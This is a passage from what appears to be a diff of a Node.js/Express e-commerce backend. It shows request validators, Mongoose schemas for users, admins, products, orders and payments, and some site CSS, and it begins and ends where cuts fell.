const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
next()
}
exports.validateAdminProfile = (req, res, next) => {
req.check("shopName", "Shop name is required").notEmpty()
req.check("address", "address is required").notEmpty()
req.check("phone", "phone number is required").notEmpty()
req.check("muncipality", "Muncipality is required").notEmpty()
req.check("district", "district is required").notEmpty()
req.check("wardno", "wardno is required").notEmpty()
req.newPassword && req.check("newPassword")
.isLength({ min: 6 })
.withMessage("Password must be at least 6 chars long")
.matches(/\d/)
.withMessage("must contain a number")
.withMessage("Password must contain a number");
// check for errors
const errors = req.validationErrors();
// if error show the first one as they happen
if (errors) {
errorHandler();
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
next()
}
exports.validateProduct = async (req, res, next) => {
req.check("name", "Product name is required").notEmpty()
req.check("price", "Selling price of product is required").notEmpty()
req.check("quantity", "Product quantity is required").notEmpty()
req.check("return", "Product returning time peroid required").notEmpty()
req.check("description", "Product description is required").notEmpty()
req.check("warranty", "Product warranty is required").notEmpty()
req.check("brand", "Product brand is required").notEmpty()
req.check("availableDistricts", "Invalid districts.").custom((values) => {
let dts = values ? typeof values === 'string' ? [values] : values : []
return values ? _.intersection(districts, dts).length === dts.length ? true : false : true
})
// check for errors
const errors = req.validationErrors() || [];
// validate images
let images = req.body.images || []
images = await ProductImages
.find()
.where('_id')
.in(images)
.catch(err => errors.push({ msg: "Invalid image ids" }));// catch will execute if invalid ids
// if some id are invalid
// e.g out of 3 images 1 is not valid the images.length = 2 bcoz 2 are only vaild so shld return error..
if (images.length !== (typeof req.body.images === 'string' ? [req.body.images] : req.body.images).length) {
errors.push({ msg: "Invalid image ids" })
}
req.images = images
// validate brand
let brand = await ProductBrand.findOne({ slug: req.body.brand })
if (!brand) {
errors.push({ msg: "Invalid product brand" })
} else {
req.body.brand = brand._id
}
//validate category
let categories = await Category.find({ slug: req.body.category })
if (!categories.length) {
errors.push({ msg: "Invalid product category" })
} else if (categories.some(cat=>cat.isDisabled)) {
errors.push({ msg: "Categories have been disabled" })
} else {
req.body.category = categories.map(cat=>cat._id)//as we need id for reference
}
// if error show the first one as they happen
if (errors.length) {
console.log(errors);
errorHandler();
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
next()
}

55
server/models/Address.js Normal file
View File

@@ -0,0 +1,55 @@
const mongoose = require("mongoose");
const Schema = mongoose.Schema
const pointSchema = new mongoose.Schema({
type: {
type: String,
enum: ['Point']
},
coordinates: {
type: [Number]
}
});
const addressSchema = new mongoose.Schema({
user: {
type: Schema.Types.ObjectId,
ref: "user",
required: true
},
label: {
type: String,
trim: true,
enum:['home','office','other']
},
region: {//pradesh
type: String,
trim: true,
},
city: {
type: String,
trim: true,
},
area: {//tole,area name
type: String,
trim: true,
},
address: {//street level address
type: String,
trim: true,
},
geolocation: {
type: pointSchema,
},
phoneno: {
type: String,
trim: true,
max: 9999999999,
},
isActive:{
type: Date,
default: null
}
}, { timestamps: true });
addressSchema.index({ geolocation: "2dsphere" });
module.exports = mongoose.model("address", addressSchema);

149
server/models/Admin.js Normal file
View File

@@ -0,0 +1,149 @@
const mongoose = require("mongoose");
const crypto = require("crypto");
const Schema = mongoose.Schema
const pointSchema = new mongoose.Schema({
type: {
type: String,
enum: ['Point']
},
coordinates: {
type: [Number]
}
});
const adminSchema = new mongoose.Schema({
name: {
type: String,
trim: true,
required: true,
maxlength: 32
},
shopName: {
type: String,
trim: true,
maxlength: 32
},
address: {
type: String,
trim: true,
maxlength: 32
},
geolocation: {
type: pointSchema,//of superadmin used to calculate geodistance between user nd the order dispatch system
},
shippingRate: {
type: Number// added only by superadmin
},
shippingCost: {
type: Number// added only by superadmin
},
district: {
type: String,
trim: true,
maxlength: 32
},
muncipality: {
type: String,
trim: true,
maxlength: 32
},
wardno: {
type: Number
},
businessInfo: {
type: Schema.Types.ObjectId,
ref: "businessinfo"
},
adminBank: {
type: Schema.Types.ObjectId,
ref: "adminbank"
},
adminWareHouse: {
type: Schema.Types.ObjectId,
ref: "adminwarehouse"
},
phone: {
type: Number,
max: 9999999999
},
email: {
type: String,
trim: true,
unique: true
},
password: {
type: String,
required: true
},
photo: {
type: String
},
holidayMode: {
start: {
type: Number
},
end: {
type: Number
}
},
salt: String,
role: {
type: String,
enum: ["admin", "superadmin"],
default: "admin"
},
resetPasswordLink: {
type: String,
default: ""
},
emailVerifyLink: {
type: String,
default: ""
},
isVerified: {
type: Date,
default: null
},
isBlocked: {
type: Date,
default: null
}
}, { timestamps: true });
adminSchema.index({ geolocation: "2dsphere" });
const sha512 = function (password, salt) {
let hash = crypto.createHmac('sha512', salt);
hash.update(password);
let value = hash.digest('hex');
return {
passwordHash: value
};
};
adminSchema.pre('save', function (next) {
let admin = this;
if (admin.isModified('password')) {
// salt
const ranStr = function (n) {
return crypto.randomBytes(Math.ceil(8))
.toString('hex')
.slice(0, n);
};
// applying sha512 alogrithm
let salt = ranStr(16);
let passwordData = sha512(admin.password, salt);
admin.password = passwordData.passwordHash;
admin.salt = salt;
next();
} else {
next();
}
})
adminSchema.statics.findByCredentials = async function (email, password) {
let Admin = this;
const admin = await Admin.findOne({ email })
if (!admin) return ''
let passwordData = sha512(password, admin.salt)
if (passwordData.passwordHash == admin.password) {
return admin
}
}
module.exports = mongoose.model("admin", adminSchema);

View File

@@ -0,0 +1,49 @@
const mongoose = require("mongoose");
const Schema = mongoose.Schema
const bankSchema = new mongoose.Schema({
admin: {
type: Schema.Types.ObjectId,
ref: "admin",
required: true
},
accountHolder: {
type: String,
trim: true,
required: true,
maxlength: 32
},
bankName: {
type: String,
trim: true,
required: true,
maxlength: 32
},
branchName: {
type: String,
trim: true,
required: true,
maxlength: 32
},
accountNumber: {
type: String,
trim: true,
required: true,
maxlength: 32
},
routingNumber: {
type: String,
trim: true,
required: true,
maxlength: 32
},
chequeCopy: {
type: Schema.Types.ObjectId,
ref: "adminfile",
},
isVerified: {
type: Date,//as we may need verified date
default: null
}
}, { timestamps: true });
module.exports = mongoose.model("adminbank", bankSchema);

View File

@@ -0,0 +1,10 @@
const mongoose = require('mongoose');
const Schema = mongoose.Schema
const adminFileSchema = new mongoose.Schema({
admin: {
type: Schema.Types.ObjectId,
ref: "admin",
},
fileUri: String
}, { timestamps: true });
module.exports = mongoose.model('adminfile', adminFileSchema);

View File

@@ -0,0 +1,39 @@
const mongoose = require("mongoose");
const Schema = mongoose.Schema
const warehouseSchema = new mongoose.Schema({
admin: {
type: Schema.Types.ObjectId,
ref: "admin",
required: true
},
name: {
type: String,
trim: true,
required: true,
maxlength: 32
},
address: {
type: String,
trim: true,
required: true,
maxlength: 32
},
phoneno: {
type: String,
trim: true,
required: true,
maxlength: 32
},
city: {
type: String,
trim: true,
required: true,
maxlength: 32
},
isVerified: {
type: Date,//as we may need verified date
default: null
}
}, { timestamps: true });
module.exports = mongoose.model("adminwarehouse", warehouseSchema);

19
server/models/Banner.js Normal file
View File

@@ -0,0 +1,19 @@
const mongoose = require('mongoose');
const Schema = mongoose.Schema;
const bannerSchema = mongoose.Schema({
bannerPhoto :{
type:String
},
link: {
type: String
},
product: {
type: Schema.Types.ObjectId,
ref: 'product'
},
isDeleted: {
type: Date,
default: null
},
}, { timestamps: true });
module.exports = mongoose.model('banner', bannerSchema);

View File

@@ -0,0 +1,57 @@
const mongoose = require("mongoose");
const Schema = mongoose.Schema
const businessSchema = new mongoose.Schema({
admin: {
type: Schema.Types.ObjectId,
ref: "admin",
required: true
},
ownerName: {
type: String,
trim: true,
required: true,
maxlength: 32
},
address: {
type: String,
trim: true,
required: true,
maxlength: 32
},
city: {
type: String,
trim: true,
required: true,
maxlength: 32
},
citizenshipNumber: {
type: String,
trim: true,
required: true,
maxlength: 32
},
businessRegisterNumber:{
type: String,
trim: true,
required: true,
maxlength: 32
},
citizenshipFront: {
type: Schema.Types.ObjectId,
ref: "adminfile",
},
citizenshipBack: {
type: Schema.Types.ObjectId,
ref: "adminfile",
},
businessLicence:{
type: Schema.Types.ObjectId,
ref: "adminfile",
},
isVerified:{
type: Date,//as we may need verified date
default: null
}
}, { timestamps: true });
module.exports = mongoose.model("businessinfo", businessSchema);

23
server/models/Cart.js Normal file
View File

@@ -0,0 +1,23 @@
const mongoose = require('mongoose');
const Schema = mongoose.Schema;
const cartSchema = mongoose.Schema({
user: {
type: Schema.Types.ObjectId,
ref: 'user'
},
product: {
type: Schema.Types.ObjectId,
ref: 'product'
},
quantity: {
type: Number,
},
productAttributes: {
type: String
},
isDeleted: {
type: Date,
default: null
}
}, { timestamps: true });
module.exports = mongoose.model('cart', cartSchema);

34
server/models/Category.js Normal file
View File

@@ -0,0 +1,34 @@
const mongoose = require("mongoose");
const URLSlugs = require('mongoose-url-slugs');
const Schema = mongoose.Schema
const categorySchema = new mongoose.Schema({
systemName: {
type: String,
trim: true,
required: true,
maxlength: 32
},
displayName: {
type: String,
trim: true,
required: true,
maxlength: 32
},
parent: {
type: Schema.Types.ObjectId,
ref: 'productbrand'
},
brands: [{
type: Schema.Types.ObjectId,
ref: 'category'
}],
slug:{
type: String
},
isDisabled: {
type: Date,
default:null
}
});
categorySchema.plugin(URLSlugs('displayName', { field: 'slug', update: true }));
module.exports = mongoose.model("category", categorySchema);

View File

@@ -0,0 +1,76 @@
const mongoose = require("mongoose");
const crypto = require("crypto");
const Schema = mongoose.Schema
const dispatcherSchema = new mongoose.Schema({
name: {
type: String,
trim: true,
required: true,
maxlength: 32
},
address: {
type: String,
trim: true,
maxlength: 32
},
phone: {
type: Number,
max: 9999999999
},
email: {
type: String,
trim: true,
unique: true
},
password: {
type: String,
required: true
},
salt: String,
resetPasswordLink: {
type: String,
default: ""
},
isBlocked: {
type: Date,
default: null
}
}, { timestamps: true });
const sha512 = function (password, salt) {
let hash = crypto.createHmac('sha512', salt);
hash.update(password);
let value = hash.digest('hex');
return {
passwordHash: value
};
};
dispatcherSchema.pre('save', function (next) {
let dispatcher = this;
if (dispatcher.isModified('password')) {
// salt
const ranStr = function (n) {
return crypto.randomBytes(Math.ceil(8))
.toString('hex')
.slice(0, n);
};
// applying sha512 alogrithm
let salt = ranStr(16);
let passwordData = sha512(dispatcher.password, salt);
dispatcher.password = passwordData.passwordHash;
dispatcher.salt = salt;
next();
} else {
next();
}
})
dispatcherSchema.statics.findByCredentials = async function (email, password) {
let Dispatcher = this;
const dispatcher = await Dispatcher.findOne({ email })
if (!dispatcher) return ''
let passwordData = sha512(password, dispatcher.salt)
if (passwordData.passwordHash == dispatcher.password) {
return dispatcher
}
}
module.exports = mongoose.model("dispatcher", dispatcherSchema);

View File

@@ -0,0 +1,10 @@
const mongoose = require('mongoose');
const { districts } = require('../middleware/common');
const districtSchema = mongoose.Schema({
name: {
type: String,
unique: true,
enum : districts
}
}, { timestamps: true });
module.exports = mongoose.model('district', districtSchema);

12
server/models/Lead.js Normal file
View File

@@ -0,0 +1,12 @@
const mongoose = require('mongoose');
const leadSchema = mongoose.Schema({
email: {
type: String,
unique: true
},
isDeleted: {
type: Date,
default: null
}
}, { timestamps: true });
module.exports = mongoose.model('lead', leadSchema);

View File

@@ -0,0 +1,18 @@
const mongoose = require('mongoose');
const Schema = mongoose.Schema;
const manualOrderSchema = mongoose.Schema({
productName:{
type: String
},
link:{
type: String
},
description: {
type: String
},
isDeleted: {
type: Date,
default: null
}
}, { timestamps: true });
module.exports = mongoose.model('manualorder', manualOrderSchema);

View File

@@ -0,0 +1,29 @@
const mongoose = require('mongoose');
const Schema = mongoose.Schema
const notificationSchema = new mongoose.Schema({
admin: {
type: Schema.Types.ObjectId,
ref: "admin",
},
notifications: [{
notificationType: String, //order, question_on_product, answer_on_product, review
notificationDetail: Object, //details in key/value
hasRead: {
type: Boolean,
default: false
},
date: {
type: Date
},
// hasSeen: {
// type: Boolean,
// default: false
// }
}],
noOfUnseen: {
type: Number,
default: 0
}
});
module.exports = mongoose.model('notification', notificationSchema);

149
server/models/Order.js Normal file
View File

@@ -0,0 +1,149 @@
const mongoose = require("mongoose");
const { allOrderStatus } = require("../middleware/common");
const Schema = mongoose.Schema
const pointSchema = new mongoose.Schema({
type: {
type: String,
enum: ['Point']
},
coordinates: {
type: [Number]
}
});
const orderSchema = new mongoose.Schema({
user: {
type: Schema.Types.ObjectId,
ref: "user",
required: true
},
orderID:{
type: String,
require: true
},
product: {
type: Schema.Types.ObjectId,
ref: "product",
required: true
},
payment: {
type: Schema.Types.ObjectId,
ref: "payment",
},
quantity: {
type: Number
},
soldBy:{
type: Schema.Types.ObjectId,
ref:"admin"
},
status: {
currentStatus: {
type: String,
enum: allOrderStatus
},
activeDate: {
type: Date,
default: null
},
approvedDate: {
type: Date,
default: null
},
dispatchedDetail: {
dispatchedDate: {
type: Date,
default: null
},
dispatchedBy: {
type: Schema.Types.ObjectId,
ref: 'dispatcher'
},
},
cancelledDetail: {
cancelledDate:{
type: Date,
default: null
},
cancelledBy:{
type: Schema.Types.ObjectId,
refPath: "cancelledByModel"
},
remark: {
type: Schema.Types.ObjectId,
ref: 'remark'
},
},
completedDate: {
type: Date,
default: null
},
tobereturnedDate: {
type: Date,
default: null
},
// tobeReturnedDetail: {
// tobereturnedDate: {
// type: Date
// },
// remark: {
// type: Schema.Types.ObjectId,
// ref: 'remark'
// },
// },
returnedDetail: {
returnedDate: {
type: Date,
default: null
},
returneddBy: {
type: Schema.Types.ObjectId,
ref: 'dispatcher'
},
remark: [{
type: Schema.Types.ObjectId,
ref: 'remark'
}],
},
},
shipto:{
region: {//pradesh
type: String,
trim: true,
},
city: {
type: String,
trim: true,
},
area: {//tole,area name
type: String,
trim: true,
},
address: {//street level address
type: String,
trim: true,
},
geolocation: {
type: pointSchema,
},
phoneno: {
type: String,
trim: true,
max: 9999999999,
}
},
isPaid:{
type: Boolean,
default: false
},
cancelledByModel: {
type: String,
enum: ['user', 'admin']
},
productAttributes:{
type: String
}
}, { timestamps: true });
orderSchema.index({ geolocation: "2dsphere" });
module.exports = mongoose.model("order", orderSchema);

43
server/models/Payment.js Normal file
View File

@@ -0,0 +1,43 @@
const mongoose = require("mongoose");
const Schema = mongoose.Schema
const paymentSchema = new mongoose.Schema({
user: {
type: Schema.Types.ObjectId,
ref: "user",
required: true
},
order: {
type: Schema.Types.ObjectId,
ref: "order",
required: true
},
method: {
type: String,
enum: ['Cash on Delivery','manual']//manual ==> bank or manual esewa..
},
shippingCharge: {
type: Number,
},
amount: {
type: Number,
},
returnedAmount: {
type: Number,
default: null
},
transactionCode: {
type: String,
required: true
},
from:{
type:Number,
max: 9999999999 //!esewa && receiverNumber
},
isDeleted: {
type: Date,
default: null
}
}, { timestamps: true });
module.exports = mongoose.model("payment", paymentSchema);

141
server/models/Product.js Normal file
View File

@@ -0,0 +1,141 @@
const mongoose = require("mongoose");
const URLSlugs = require('mongoose-url-slugs');
const { districts } = require("../middleware/common");
const Schema = mongoose.Schema;
const productSchema = mongoose.Schema({
name: {
type: String,
trim: true,
required: true,
maxlength: 128
},
brand: {
type: Schema.Types.ObjectId,
ref: 'productbrand'
},
quantity: {
type: Number,
trim: true,
required: true,
maxlength: 32
},
category: [{
type: Schema.Types.ObjectId,
ref: 'category'
}],
averageRating:{
type: mongoose.Decimal128
},
totalRatingUsers:{
type: Number
},
soldBy: {
type: Schema.Types.ObjectId,
ref: 'admin'
},
images: [{
type: Schema.Types.ObjectId,
ref: 'productimages'
}],
warranty: {
type: String,
trim: true,
required: true,
maxlength: 32
},
return: {
type: String,
required: true,
trim: true,
maxlength: 32
},
size: [{
type: String,
trim: true,
maxlength: 32
}],
model: {
type: String,
trim: true,
maxlength: 128
},
color: [{
type: String,
trim: true,
maxlength: 128
}],
weight: [{
type: String,
trim: true,
maxlength: 128
}],
description: {
type: String,
required: true,
trim: true,
maxlength: 2000
},
highlights: {
type: String,
required: true,
trim: true,
maxlength: 2000
},
tags: [{
type: String
}],
price: {
type: mongoose.Decimal128,
required:true
},
discountRate: {
type: Number,//it may b float as well..
default:0
},
videoURL:[{
type:String
}],
isVerified: {
type: Date,
default: null
},
isRejected: {
type: Date,
default: null
},
isDeleted: {
type: Date,
default: null
},
isFeatured: {
type: Date,
default: null
},
viewsCount: {
type: Number,
default: 0,
},
trendingScore: {
type: mongoose.Decimal128,
default: 0
},
noOfSoldOut: {
type: Number,
default: 0,
},
slug: {
type: String,
unique: true
},
availableDistricts:[{
type: String,
enum: districts,
required: true
}],
remark: [{
type: Schema.Types.ObjectId,
ref: 'remark'
}],
}, { timestamps: true });
productSchema.plugin(URLSlugs('name', { field: 'slug', update: true }));
module.exports = mongoose.model("product", productSchema);

View File

@@ -0,0 +1,16 @@
const mongoose = require('mongoose');
const URLSlugs = require('mongoose-url-slugs');
const brandSchema = new mongoose.Schema({
brandName: {
type : String
},
systemName: {
type: String,
unique: true
},
slug:{
type: String
}
})
brandSchema.plugin(URLSlugs('brandName', { field: 'slug', update: true }));
module.exports = mongoose.model("productbrand", brandSchema);

View File

@@ -0,0 +1,19 @@
const mongoose = require('mongoose');
const Schema = mongoose.Schema
const productImageSchema = mongoose.Schema({
thumbnail: {
type: String
},
medium: {
type: String
},
large: {
type:String
},
productLink:{
type: Schema.Types.ObjectId,
ref: "product",
default: null
}
}, { timestamps: true });
module.exports = mongoose.model('productimages', productImageSchema);

37
server/models/QnA.js Normal file
View File

@@ -0,0 +1,37 @@
const mongoose = require("mongoose");
const Schema = mongoose.Schema
const qnaSchema = new mongoose.Schema({
product: {
type: Schema.Types.ObjectId,
ref: "product",
required: true
},
qna: [{
question: {
type: String
},
questionby: {
type: Schema.Types.ObjectId,
ref: "user",
},
questionedDate:{
type: Date
},
answer: {
type: String
},
answerby: {
type: Schema.Types.ObjectId,
ref: "admin",
},
answeredDate: {
type: Date
},
isDeleted: {
type: Date,
default: null
}
}]
});
module.exports = mongoose.model("qna", qnaSchema);

View File

@@ -0,0 +1,24 @@
const mongoose = require('mongoose');
const Schema = mongoose.Schema
const tokenSchema = mongoose.Schema({
//we need user ref in order to create accessToken of that user only
// user: {
// type: Schema.Types.ObjectId,
// refPath: "sysUsers",
// },
refreshToken:{
type: String,
default: ''
},
userIP: {
type: String
},
// expires: {
// type : Date
// },
// sysUsers: {
// type: String,
// enum: ['user', 'admin','dispatcher']
// },
});
module.exports = mongoose.model('refreshtoken', tokenSchema);

27
server/models/Remark.js Normal file
View File

@@ -0,0 +1,27 @@
const mongoose = require('mongoose');
const Schema = mongoose.Schema;
const remarkSchema = mongoose.Schema({
comment: {
type: String
},
isDeleted: {
type: Date,
default: null
},
// createdBy: {
// type: Schema.Types.ObjectId,
// refPath: "deletedByModel"
// },
// deletedBy: {
// type: Schema.Types.ObjectId,
// refPath: "deletedByModel"
// },
// deleteByModel: {
// type: String,
// enum: ['dispatcher', 'admin', 'user', 'superadmin']
// },
// reason: {
// type: String//product_tobereturned,cancel_order_by_admin, cancel_order_by_user, disapprove_product
// }
}, { timestamps: true });
module.exports = mongoose.model('remark', remarkSchema);

20
server/models/Review.js Normal file
View File

@@ -0,0 +1,20 @@
const mongoose = require('mongoose');
const Schema = mongoose.Schema;
const reviewSchema = mongoose.Schema({
user: {
type: Schema.Types.ObjectId,
ref: 'user'
},
product: {
type: Schema.Types.ObjectId,
ref: 'product'
},
comment: {
type: String
},
star: {
type: Number,
max:5
}
}, { timestamps: true });
module.exports = mongoose.model('reviews', reviewSchema);

View File

@@ -0,0 +1,11 @@
const mongoose = require('mongoose');
const Schema = mongoose.Schema
//later we have to do mapping through redis server
const socketMappingSchema = new mongoose.Schema({
user: {
type: Schema.Types.ObjectId,
ref: "admin",
},
socketId: String
});
module.exports = mongoose.model('socketmapping', socketMappingSchema);

View File

@@ -0,0 +1,12 @@
const mongoose = require('mongoose');
const suggestKeywordSchema = mongoose.Schema({
keyword: {
type: String,
unique: true
},
isDeleted: {
type: Date,
default: null
}
}, { timestamps: true });
module.exports = mongoose.model('suggestkeyword', suggestKeywordSchema);

100
server/models/User.js Normal file
View File

@@ -0,0 +1,100 @@
const mongoose = require("mongoose");
const crypto = require("crypto");
const Schema = mongoose.Schema
const userSchema = new mongoose.Schema({
name: {
type: String,
trim: true,
required: true,
maxlength: 32
},
email: {
type: String,
trim: true,
// unique:true
},
userID: {
type: String,
trim: true,
unique: true
},
loginDomain: {
type: String,
default: "system",//can be facebook, google as well
enum:['system', 'facebook', 'google']
},
password: {
type: String,
// required: true
},
location: [{
type: Schema.Types.ObjectId,
ref: "address"
}],
photo: {
type: String
},
socialPhoto: {
type: String
},
dob:{
type: String
},
gender:{
type:String,
enum:['male','female','other']
},
resetPasswordLink: {
type: String,
default: ""
},
emailVerifyLink: {
type: String,
default: ""
},
salt: String,
isBlocked: {
type: Date,
default: null
}
}, { timestamps: true });
userSchema.index({ geolocation: "2dsphere" });
const sha512 = function (password, salt) {
let hash = crypto.createHmac('sha512', salt);
hash.update(password);
let value = hash.digest('hex');
return {
passwordHash: value
};
};
userSchema.pre('save', function (next) {
let user = this;
if (user.isModified('password')) {
// salt
const ranStr = function (n) {
return crypto.randomBytes(Math.ceil(8))
.toString('hex')
.slice(0, n);
};
// applying sha512 alogrithm
let salt = ranStr(16);
let passwordData = sha512(user.password, salt);
user.password = passwordData.passwordHash;
user.salt = salt;
next();
} else {
next();
}
})
userSchema.statics.findByCredentials = async function (email, password) {
let User = this;
const user = await User.findOne({ email, loginDomain:'system' })
if (!user) return ''
let passwordData = sha512(password, user.salt)
if (passwordData.passwordHash == user.password) {
return user
}
}
module.exports = mongoose.model("user", userSchema);

20
server/models/WishList.js Normal file
View File

@@ -0,0 +1,20 @@
const mongoose = require('mongoose');
const Schema = mongoose.Schema;
const wishSchema = mongoose.Schema({
user: {
type: Schema.Types.ObjectId,
ref: 'user'
},
product: {
type: Schema.Types.ObjectId,
ref: 'product'
},
quantity: {
type: Number,
},
isDeleted: {
type: Date,
default: null
}
}, { timestamps: true });
module.exports = mongoose.model('wishlist', wishSchema);

View File

@@ -0,0 +1,18 @@
const mongoose = require("mongoose");
const Schema = mongoose.Schema
const forYouSchema = new mongoose.Schema({
forYou: [{
user:{
type: Schema.Types.ObjectId,
ref: 'user',
unique: true
},
products: [{
type: Schema.Types.ObjectId,
ref: 'product',
unique: true
}]
}]
});
module.exports = mongoose.model("minedproduct", forYouSchema);

View File

@@ -0,0 +1,92 @@
const mongoose = require('mongoose');
const orderSchema = new mongoose.Schema({
shippingInfo: {
address: {
type: String,
required: true
},
city: {
type: String,
required: true
},
state: {
type: String,
required: true
},
country: {
type: String,
required: true
},
pincode: {
type: Number,
required: true
},
phoneNo: {
type: Number,
required: true
},
},
orderItems: [
{
name: {
type: String,
required: true
},
price: {
type: Number,
required: true
},
quantity: {
type: Number,
required: true
},
image: {
type: String,
required: true
},
product: {
type: mongoose.Schema.ObjectId,
ref: "Product",
required: true
},
},
],
user: {
type: mongoose.Schema.ObjectId,
ref: "User",
required: true
},
paymentInfo: {
id: {
type: String,
required: true
},
status: {
type: String,
required: true
},
},
paidAt: {
type: Date,
required: true
},
totalPrice: {
type: Number,
required: true,
default: 0
},
orderStatus: {
type: String,
required: true,
default: "Processing",
},
deliveredAt: Date,
shippedAt: Date,
createdAt: {
type: Date,
default: Date.now
},
});
module.exports = mongoose.model("Order", orderSchema);

View File

@@ -0,0 +1,68 @@
const mongoose = require('mongoose');
const paymentSchema = new mongoose.Schema({
resultInfo: {
resultStatus: {
type: String,
required: true
},
resultCode: {
type: String,
required: true
},
resultMsg: {
type: String,
required: true
},
},
txnId: {
type: String,
required: true
},
bankTxnId: {
type: String,
required: true
},
orderId: {
type: String,
required: true
},
txnAmount: {
type: String,
required: true
},
txnType: {
type: String,
required: true
},
gatewayName: {
type: String,
required: true
},
bankName: {
type: String,
required: true
},
mid: {
type: String,
required: true
},
paymentMode: {
type: String,
required: true
},
refundAmt: {
type: String,
required: true
},
txnDate: {
type: String,
required: true
},
createdAt: {
type: Date,
default: Date.now
}
});
module.exports = mongoose.model("Payment", paymentSchema);

View File

@@ -0,0 +1,122 @@
const mongoose = require('mongoose');
const productSchema = new mongoose.Schema({
name: {
type: String,
required: [true, "Please enter product name"],
trim: true
},
description: {
type: String,
required: [true, "Please enter product description"]
},
highlights: [
{
type: String,
required: true
}
],
specifications: [
{
title: {
type: String,
required: true
},
description: {
type: String,
required: true
}
}
],
price: {
type: Number,
required: [true, "Please enter product price"]
},
cuttedPrice: {
type: Number,
required: [true, "Please enter cutted price"]
},
images: [
{
public_id: {
type: String,
required: true
},
url: {
type: String,
required: true
}
}
],
brand: {
name: {
type: String,
required: true
},
logo: {
public_id: {
type: String,
required: true,
},
url: {
type: String,
required: true,
}
}
},
category: {
type: String,
required: [true, "Please enter product category"]
},
stock: {
type: Number,
required: [true, "Please enter product stock"],
maxlength: [4, "Stock cannot exceed limit"],
default: 1
},
warranty: {
type: Number,
default: 1
},
ratings: {
type: Number,
default: 0
},
numOfReviews: {
type: Number,
default: 0
},
reviews: [
{
user: {
type: mongoose.Schema.ObjectId,
ref: "User",
required: true
},
name: {
type: String,
required: true
},
rating: {
type: Number,
required: true
},
comment: {
type: String,
required: true
}
}
],
user: {
type: mongoose.Schema.ObjectId,
ref: "User",
required: true
},
createdAt: {
type: Date,
default: Date.now
}
});
module.exports = mongoose.model('Product', productSchema);

View File

@@ -0,0 +1,78 @@
const mongoose = require('mongoose');
const validator = require('validator');
const bcrypt = require('bcryptjs');
const jwt = require('jsonwebtoken');
const crypto = require('crypto');
const userSchema = new mongoose.Schema({
name: {
type: String,
required: [true, "Please Enter Your Name"],
},
email: {
type: String,
required: [true, "Please Enter Your Email"],
unique: true,
},
gender: {
type: String,
required: [true, "Please Enter Gender"]
},
password: {
type: String,
required: [true, "Please Enter Your Password"],
minLength: [8, "Password should have atleast 8 chars"],
select: false,
},
avatar: {
public_id: {
type: String,
},
url: {
type: String,
}
},
role: {
type: String,
default: "user",
},
createdAt: {
type: Date,
default: Date.now,
},
resetPasswordToken: String,
resetPasswordExpire: Date,
});
userSchema.pre("save", async function (next) {
if (!this.isModified("password")) {
next();
}
this.password = await bcrypt.hash(this.password, 10);
});
userSchema.methods.getJWTToken = function () {
return jwt.sign({ id: this._id }, process.env.JWT_SECRET, {
expiresIn: process.env.JWT_EXPIRE
});
}
userSchema.methods.comparePassword = async function (enteredPassword) {
return await bcrypt.compare(enteredPassword, this.password);
}
userSchema.methods.getResetPasswordToken = async function () {
// generate token
const resetToken = crypto.randomBytes(20).toString("hex");
// generate hash token and add to db
this.resetPasswordToken = crypto.createHash("sha256").update(resetToken).digest("hex");
this.resetPasswordExpire = Date.now() + 15 * 60 * 1000;
return resetToken;
}
module.exports = mongoose.model('User', userSchema);

View File

View File

@@ -0,0 +1,6 @@
.login-form {
width: 20rem;
max-width: 90%;
margin: auto;
display: block;
}

View File

@@ -0,0 +1,24 @@
.cart__item-list {
list-style: none;
margin: 0;
padding: 0;
margin: auto;
width: 40rem;
max-width: 90%;
}
.cart__item {
display: flex;
align-items: center;
justify-content: space-between;
padding: 1rem;
box-shadow: 0 2px 8px rgba(6, 18, 134, 0.788);
margin-bottom: 1rem;
}
.cart__item h1,
.cart__item h2 {
margin-right: 1rem;
font-size: 1.2rem;
margin: 0;
}

View File

@@ -0,0 +1,23 @@
.form-control {
margin: 1rem 0;
}
.form-control label,
.form-control input,
.form-control textarea {
display: block;
width: 100%;
margin-bottom: 0.25rem;
}
.form-control input,
.form-control textarea {
border: 1px solid #a1a1a1;
font: inherit;
border-radius: 2px;
}
.form-control input:focus,
.form-control textarea:focus {
outline-color: #0e04276e;
}

302
server/public/css/main.css Normal file
View File

@@ -0,0 +1,302 @@
@import url("https://fonts.googleapis.com/css?family=Open+Sans:400,700");
@import url("https://fonts.googleapis.com/css2?family=Nanum+Gothic:wght@700&display=swap");
* {
box-sizing: border-box;
}
@import url("https://fonts.googleapis.com/css2?family=Ranchers&display=swap");
.logo-custom {
font-family: "Ranchers";
font-size: 22px;
}
body {
padding: 0;
margin: 0;
font-family: "Nanum Gothic", "Open Sans", sans-serif;
}
main {
padding: 1rem;
margin: auto;
}
form {
display: inline;
}
.centered {
text-align: center;
}
.image {
height: 20rem;
}
.image img {
height: 100%;
}
.main-header {
width: 100%;
height: 3.5rem;
background: linear-gradient(
90deg,
rgba(2, 0, 36, 1) 0%,
rgba(13, 13, 38, 1) 0%,
rgba(0, 212, 255, 1) 100%
);
padding: 0 1.5rem;
display: flex;
align-items: center;
box-shadow: 0 2px 10px rgba(6, 81, 241, 0.637);
}
.main-header__nav {
height: 100%;
width: 100%;
display: none;
align-items: center;
justify-content: space-between;
}
.main-header__item-list {
list-style: none;
margin: 0;
padding: 0;
display: flex;
}
.main-header__item {
margin: 0 1rem;
padding: 1rem;
}
.main-header__item a,
.main-header__item button {
font: inherit;
background: transparent;
border: none;
text-decoration: none;
color: white;
cursor: pointer;
}
.main-header__item a:hover,
.main-header__item a:active,
.main-header__item a.active,
.main-header__item button:hover,
.main-header__item button:active {
color: #ffeb3b;
}
.mobile-nav {
width: 30rem;
height: 100vh;
max-width: 90%;
position: fixed;
left: 0;
top: 0;
background: white;
z-index: 10;
padding: 2rem 1rem 1rem 2rem;
transform: translateX(-100%);
transition: transform 0.3s ease-out;
}
.mobile-nav.open {
transform: translateX(0);
}
.mobile-nav__item-list {
list-style: none;
display: flex;
flex-direction: column;
margin: 0;
padding: 0;
}
.mobile-nav__item {
margin: 1rem;
padding: 0;
}
.mobile-nav__item a,
.mobile-nav__item button {
font: inherit;
text-decoration: none;
color: black;
font-size: 1.5rem;
padding: 0.5rem 2rem;
background: transparent;
border: none;
cursor: pointer;
}
.mobile-nav__item a:active,
.mobile-nav__item a:hover,
.mobile-nav__item a.active,
.mobile-nav__item button:hover,
